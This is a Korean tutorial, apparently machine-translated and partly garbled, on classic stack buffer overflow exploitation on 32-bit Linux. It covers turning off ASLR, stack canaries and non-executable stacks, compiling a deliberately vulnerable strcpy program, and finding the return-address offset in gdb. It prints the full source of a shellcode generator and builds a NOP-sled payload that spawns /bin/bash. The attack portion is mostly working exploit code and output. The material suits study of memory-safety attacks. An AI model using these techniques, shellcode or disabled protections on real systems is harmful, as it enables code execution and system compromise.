리 눅 스에 서 기본 스 택 넘 침 공격
1.1 Linux 스 택 넘 침 보호 메커니즘
기본 적 인 스 택 오 버 공격 은 최초 로 발생 한 버퍼 오 버 공격 방법 으로 모든 다른 버퍼 오 버 공격 의 기초 입 니 다.그러나 이러한 공격 방법 이 발생 하 는 시간 이 비교적 길 기 때문에 GCC 컴 파일 러, Linux 운영 체 제 는 이러한 공격 방법 이 시스템 에 해 를 끼 치 는 것 을 막 는 메커니즘 을 제공 했다.다음은 먼저 기 존의 스 택 을 보호 하 는 체제 와 해당 하 는 보호 체 제 를 닫 는 방법 을 알 아 보고 기본 스 택 의 넘 침 을 분석 하 는 데 좋 은 실험 환경 을 제공 했다.
1. 메모리 주소 랜 덤 화 메커니즘
우 분투 와 리 눅 스 커 널 을 기반 으로 한 다른 시스템 에 서 는 현재 메모리 주소 에 따라 스 택 을 초기 화 하 는 시스템 을 사용 하고 있어 구체 적 인 메모리 주 소 를 추측 하 는 데 어려움 을 겪 을 것 이다.
메모리 주소 랜 덤 화 메커니즘 을 닫 는 방법 은:
sysctl –w kernel.randomize_va_space=0
2. 실행 가능 한 프로그램의 차단 보호 메커니즘
Federal 시스템 에 대해 서 는 기본적으로 실행 가능 한 프로그램의 차단 보호 체 제 를 실행 합 니 다. 이 체 제 는 스 택 에 저 장 된 코드 를 실행 할 수 없습니다. 이 는 버퍼 오 버 공격 을 무효 화 할 수 있 습 니 다.반면 우 분투 시스템 에 서 는 기본적으로 이런 메커니즘 이 적용 되 지 않 았 다.
실행 가능 한 프로그램의 차단 보호 메커니즘 을 닫 는 방법 은:
sysctl –w kernel.exec-shield=0
3. gcc 컴 파일 러 gs 인증 코드 메커니즘
gcc 컴 파 일 러 는 버퍼 가 넘 치 는 것 을 방지 하기 위 한 보호 조 치 를 취 합 니 다. 구체 적 인 방법 은 gcc 가 버퍼 에 쓰기 전에 buf 의 끝 주 소 를 되 돌려 주기 전에 무 작위 gs 인증 코드 를 넣 고 버퍼 에 쓰기 작업 이 끝 날 때 이 값 을 검사 하 는 것 입 니 다.보통 버퍼 가 넘 치면 낮은 주소 에서 높 은 주소 로 메모 리 를 덮어 씁 니 다. 따라서 주 소 를 되 돌려 쓰 려 면 이 gs 인증 코드 를 덮어 써 야 합 니 다.이렇게 하면 쓰기 전과 쓰기 후 gs 인증 코드 의 데 이 터 를 비교 하여 넘 치 는 지 여 부 를 판단 할 수 있 습 니 다.
gcc 컴 파 일 러 gs 인증 코드 메커니즘 을 닫 는 방법 은:
gcc 컴 파일 시 - fno - stack - protector 옵션 을 사용 합 니 다.
4. ld 링크 기 스 택 세그먼트 실행 불가 메커니즘
ld 링크 기 는 링크 프로그램 에 있 을 때 모든. o 파일 의 스 택 세그먼트 가 실행 불 능 으로 표시 되면 전체 라 이브 러 리 의 스 택 세그먼트 가 실행 불 능 으로 표 시 됩 니 다.반면, 0 파일 의 스 택 만 실행 가능 한 것 으로 표시 되 더 라 도 전체 라 이브 러 리 의 스 택 은 실행 가능 한 것 으로 표 시 됩 니 다.스 택 세그먼트 의 실행 가능성 을 검사 하 는 방법 은:
ELF 라 이브 러 리 검사: readelf - LW $BIN | grep GNUSTACK E 태그 가 있 는 지 확인
생 성 된. o 파일 검사: scanelf - e $BIN X 태그 가 있 는 지 확인
ld 링크 기 가 스 택 세그먼트 를 실행 할 수 없 는 것 으로 표시 하면 eip 를 제어 하 더 라 도 세그먼트 오류 가 발생 할 수 있 습 니 다.
ld 링크 기 실행 불가 메커니즘 을 닫 는 방법 은:
gcc 컴 파일 시 - z execstack 옵션 을 사용 합 니 다.
1.1 기본 스 택 오 버 공격 원리 및 실험
다음은 스 택 넘 침 공격 의 예 를 들 어 기본 적 인 스 택 넘 침 공격 의 상세 한 방법 절 차 를 상세히 설명 한다.
시험 을 하기 전에 먼저 위 에서 설명 한 방법 을 이용 하여 해당 하 는 스 택 보호 체 제 를 닫 습 니 다.
root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@linux:~/pentest# sysctl -w kernel.exec-shield=0
error: "kernel.exec-shield" is an unknown key
코드 는 다음 과 같 습 니 다:
root@linux:~/pentest# cat vulnerable.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
원본 코드 컴 파일:
root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c
gdb 로 프로그램 디 버 깅 하기:
root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: and {1}xfffffff0,%esp
0x080483ca <+6>: sub {1}x210,%esp
0x080483d0 <+12>: mov 0xc(%ebp),%eax
0x080483d3 <+15>: add {1}x4,%eax
0x080483d6 <+18>: mov (%eax),%eax
0x080483d8 <+20>: mov %eax,0x4(%esp)
0x080483dc <+24>: lea 0x1c(%esp),%eax
0x080483e0 <+28>: mov %eax,(%esp)
0x080483e3 <+31>: call 0x80482f4 <strcpy@plt>
0x080483e8 <+36>: mov {1}x0,%eax
0x080483ed <+41>: leave
0x080483ee <+42>: ret
End of assembler dump.
(gdb)
이때 strcpy 를 호출 하기 전에 main 함수 스 택 프레임 구조 분석 은 다음 그림 과 같다.
이때 스 택 프레임 분포 에 따 르 면 eip 의 값 을 제어 하려 면 buffer [500] 에 적어도 508 B 의 내용 을 입력 해 야 합 니 다.
다음 에 우 리 는 gdb 로 디 버 깅 을 계속 합 니 다.
(gdb) b *main+41
Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
(gdb) r `perl -e 'print "\x41"x508'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11
11 }
(gdb) c
Continuing.
Program exited normally.
(gdb)
buffer 에 508 글자 의 내용 을 입력 하고 프로그램 이 정상적으로 종료 되 고 종 료 됩 니 다.이것 은 창고 가 넘 치지 않 았 고 데 이 터 를 너무 적 게 채 웠 다 는 것 을 설명 한다.그러나 앞에서 우리 가 분석 한 바 와 같이 프로그램 이론 에 스 택 이 넘 치면 508 글자 가 필요 하 다.문제 가 어디 에 있 을까요?코드 와 어 셈 블 리 후의 코드 를 다시 분석 하면 우 리 는 문제 가 발생 하 는 원인 은 '0x080483 c7 < + 3 >' 에 있다 는 것 을 알 수 있다. and $0xffffff f0,% esp 라 는 문구 입 니 다.다음은 gdb 디 버 깅 을 계속 사용 하여 이 문구 가 우리 의 넘 치 는 것 에 어떻게 영향 을 미 치 는 지 분석 할 것 입 니 다.
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: and {1}xfffffff0,%esp
0x080483ca <+6>: sub {1}x210,%esp
0x080483d0 <+12>: mov 0xc(%ebp),%eax
0x080483d3 <+15>: add {1}x4,%eax
0x080483d6 <+18>: mov (%eax),%eax
0x080483d8 <+20>: mov %eax,0x4(%esp)
0x080483dc <+24>: lea 0x1c(%esp),%eax
0x080483e0 <+28>: mov %eax,(%esp)
0x080483e3 <+31>: call 0x80482f4 <strcpy@plt>
0x080483e8 <+36>: mov {1}x0,%eax
0x080483ed <+41>: leave
0x080483ee <+42>: ret
End of assembler dump.
(gdb) b *main+3
Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.
(gdb) b *main+6
Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.
(gdb) r `perl -e 'print "\x41"x508'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4
4 int main(int argc, char **argv) {
(gdb) i r esp
esp 0xbffff1b8 0xbffff1b8
(gdb) c
Continuing.
Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4
4 int main(int argc, char **argv) {
(gdb) i r esp
esp 0xbffff1b0 0xbffff1b0
(gdb)
디 버 깅 을 통 해 "0x080483 c7 < + 3 >: and" 를 실행 하고 있 음 을 알 수 있 습 니 다. $0xffffff f0,% esp '문 구 를 실행 하기 전에 esp 의 값 은' 0xbfffff 1b8 '이 고 이 문 구 를 실행 한 후에 esp 의 값 은' 0xbfffff 1b0 '입 니 다.그러므로 esp 의 값 이 8 감소 했다. 즉, eip 의 값 을 제어 하려 면 8 자 를 더 채 워 야 한다. 즉, 516 글자 로 buffer 를 채 워 야 한다.
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
넘 침 성공 을 볼 수 있 습 니 다!
다음은 gdb 디 버 깅 으로 넘 치 는 과정 을 보고 구체 적 인 분석 은 쓰 지 않 겠 습 니 다. gdb 에 익숙 하면 이 디 버 깅 정보 에 대해 한눈 에 알 수 있 을 것 이 라 고 믿 습 니 다.
(gdb) b *main+41
Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11
11 }
(gdb) i r ebp
ebp 0xbffff1a8 0xbffff1a8
(gdb) i r esp
esp 0xbfffef90 0xbfffef90
(gdb) i r eip
eip 0x80483ed 0x80483ed <main+41>
(gdb) x/550bx $esp
0xbfffef90: 0xac 0xef 0xff 0xbf 0xf6 0xf3 0xff 0xbf
0xbfffef98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffefa0: 0xa4 0xf0 0xff 0xbf 0x08 0x00 0x00 0x00
0xbfffefa8: 0x3c 0xd5 0x12 0x00 0x41 0x41 0x41 0x41
0xbfffefb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffefb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffefc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffefc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffefd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbfffefd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
………………………………………………………………………………………………
0xbffff198: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff1a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff1a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff1b0: 0x00 0x00 0x00 0x00 0x54 0xf2
(gdb)
(gdb) stepi
0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11
11 }
(gdb) i r ebp
ebp 0x41414141 0x41414141
(gdb) i r esp
esp 0xbffff1ac 0xbffff1ac
(gdb) i r eip
eip 0x80483ee 0x80483ee <main+42>
(gdb) x/10bx $esp
0xbffff1ac: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
0xbffff1b4: 0x54 0xf2
(gdb) stepi
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb)
eip 가 주 소 를 되 돌려 주 는 위 치 를 찾 았 으 니 주 소 를 되 돌려 주 고 프로그램의 실행 절 차 를 제어 할 수 있 습 니 다.
다음은 셸 코드 가 필요 합 니 다. 셸 코드 를 어떻게 만 드 는 지 에 대한 문 제 는 다음 절 로 남 겨 두 었 습 니 다. 이 절 에서 우 리 는 인터넷 에서 찾 은 셸 코드 생 성 프로그램 을 사용 하여 셸 코드 를 만 듭 니 다.Shellcode 생 성 프로그램 원본:
/*
[] Shellcode Generator null byte free. []
[] Author: certaindeath []
[] Site: certaindeath.netii.net (at the moment under construction) []
[] This program generates a shellcode which uses the stack to store the command (and its arguments). []
[] Afterwords it executes the command with the system call "execve". []
[] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end. []
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/types.h>
#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
void print_c(__u8*,int);
void push_shc(__u8*, char*, int*);
int main(int argc, char *argv[]){
char cmd[255], *a;
FILE *c;
int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
if(argc<2){
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"
"| Shellcode Generator |
"
"| by certaindeath |
"
"| |
"
"| Usage: ./generator <cmd> |
"
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
");
_exit(1);
}
a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
//find the command path
a[0]=0;
strcat(a, "whereis ");
strcat(a, argv[1]);
c=popen(a, "r");
while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
cmd[--k]=0;
if(k==0){
printf("No executables found for the command \"%s\".
", argv[1]);
_exit(1);
}
if(strlen(cmd)>254){
printf("The lenght of the command path can't be over 254 bye.
");
_exit(1);
}
for(i=2;i<argc;i++)
if(strlen(argv[i])>254){
printf("The lenght of each command argument can't be over 254 byte.
");
_exit(1);
}
//work out the final shellcode lenght
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
for(i=2; i<argc;i++){
k=strlen(argv[i]);
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
}
totl+=4*(argc-2);
printf("Shellcode lenght: %i
", totl);
//build the shellcode
shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
memcpy(shc, start, 2);
if(SETRUID){
memcpy(shc+shp, struid, 10);
shp+=10;
}
if(argc>2)
push_shc(shc, argv[argc-1], &shp);
else
push_shc(shc, cmd, &shp);
memset(shc+(shp++), 0x89, 1);
memset(shc+(shp++), 0xe6, 1);
if(argc>2){
for(i=argc-2;i>1;i--)
push_shc(shc, argv[i], &shp);
push_shc(shc, cmd, &shp);
}
memset(shc+(shp++), 0x50, 1);
memset(shc+(shp++), 0x56, 1);
if(argc>2){
for(i=argc-2;i>1;i--){
memset(shc+(shp++), 0x83, 1);
memset(shc+(shp++), 0xee, 1);
memset(shc+(shp++), strlen(argv[i])+1, 1);
memset(shc+(shp++), 0x56, 1);
}
memset(shc+(shp++), 0x83, 1);
memset(shc+(shp++), 0xee, 1);
memset(shc+(shp++), strlen(cmd)+1, 1);
memset(shc+(shp++), 0x56, 1);
}
memcpy(shc+shp, end, 16);
print_c(shc,totl);
return 0;
}
void print_c(__u8 *s,int l){
int k;
for(k=0;k<l;k++){
printf("\\x%.2x", s[k]);
if(((k+1)%8)==0) printf("
");
}
printf("
");
}
void push_shc(__u8 *out, char *str, int *sp){
int i=strlen(str), k, b, b1, tmp=i;
__u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
memcpy(out+(*sp), pushb_0, 6);
*sp+=6;
for(k=0;k<((i-(i%4))/4);k++){
memset(out+((*sp)++), 0x68, 1);
tmp-=4;
memcpy(out+(*sp), str+tmp, 4);
*sp+=4;
}
b=(i%2);
b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
if(b1){
memset(out+((*sp)++), 0x66, 1);
memset(out+((*sp)++), 0x68, 1);
tmp-=2;
memcpy(out+(*sp), str+tmp, 2);
*sp+=2;
}
if(b){
memcpy(out+(*sp), pushb, 6);
*sp+=6;
memcpy(out+((*sp)++), str+(--tmp), 1);
}
}
/*
Here is the assembly code of a shellcode which executes the command "ls -l /dev".
This is the method used by the shellcode generator.
.global _start
_start:
xorl %eax, %eax ;clear eax
subl $1, %esp ; "/dev" pushed into the stack with a null byte at the end
movb %al, (%esp)
push {1}x7665642f
movl %esp, %esi ;esp(address of "/dev") is saved in esi
subl $1, %esp ;"-l" pushed into the stack with a null byte at the end
movb %al, (%esp)
pushw {1}x6c2d
subl $1, %esp ;"/bin/ls" pushed into the stack with a null byte at the end
movb %al, (%esp)
push {1}x736c2f6e
pushw {1}x6962
subl $1, %esp
movb {1}x2f, (%esp)
;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack
push %eax ;the NULL pointer pushed into the stack
push %esi ;the address of "/dev" pushed into the stack
subl $3, %esi ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"
push %esi ;to find the address of "-l" and then push it into the stack
subl $8, %esi ;the same thing is done with the address of "/bin/ls"
push %esi
movb $11, %al ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)
movl %esi, %ebx ;is executed
movl %esp, %ecx
xor %edx, %edx
int {1}x80
movb $1, %al ;_exit(0);
xor %ebx, %ebx
int {1}x80
*/
사용 방법 은:
root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c
root@linux:~/pentest# ./shellcode_generator /bin/bash
Shellcode lenght: 45
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x62\x61\x73\x68\x68\x62\x69
\x6e\x2f\x83\xec\x01\xc6\x04\x24
\x2f\x89\xe6\x50\x56\xb0\x0b\x89
\xf3\x89\xe1\x31\xd2\xcd\x80\xb0
\x01\x31\xdb\xcd\x80
root@linux:~/pentest#
현재 buffer 를 채 워 주 소 를 되 돌려 주 는 방안 을 제공 합 니 다. (유일한 것 이 아니 라 실행 가능 한 방안 만 제공 합 니 다)
#################################################################
“\x90” * 431 + shellcode(45) + 셸 코드 주소 (4 바이트) * 10 == 516B
#################################################################
그 중에서 '\ x90' 은 NOP 빈 명령 을 대표 하기 때문에 셸 코드 주 소 는 buffer 시작 주소 와 셸 코드 시작 주소 사이 의 임의의 주소 로 바 꿀 수 있 습 니 다.
지금까지 우 리 는 우리 의 넘 치 는 코드 를 구 조 했 습 니 다. 다음 과 같 습 니 다.
(gdb) run `perl -e 'print
"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`
The program being debugged has beenstarted already.
Start it from the beginning? (y or n)y
Starting program:/root/pentest/vulnerable `perl -e 'print
"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6
\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",
"\xac\xef\xff\xbf"x10'`
process3724 is executing new program: /bin/bash
root@linux:/root/pentest# exit
exit
Program exited normally.
(gdb)
우리 의 넘 치 는 코드 가 셸 코드 를 성공 적 으로 실행 하고 해당 하 는 셸 을 얻 었 음 을 알 수 있 습 니 다.
여기까지 스 택 오 버 공격 성공.
첨부:% gs 인증 코드 가 존재 하기 때문에% gs 검증 을 열 때 위의 방안 은 gdb 디 버 깅 환경 에서 스 택 넘 침 을 성공 적 으로 완성 할 수 있 습 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
용감한 바로 가기 및 우분투 응용 프로그램안녕하세요 여러분, 이 기사에서는 모든 사이트에서 pwa를 생성하고 실행기 응용 프로그램으로 추가하는 방법을 설명하고 싶습니다. 일부 웹사이트는 PWA로 설치를 허용하지 않지만 유사한 애플리케이션을 원합니다. 1. ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.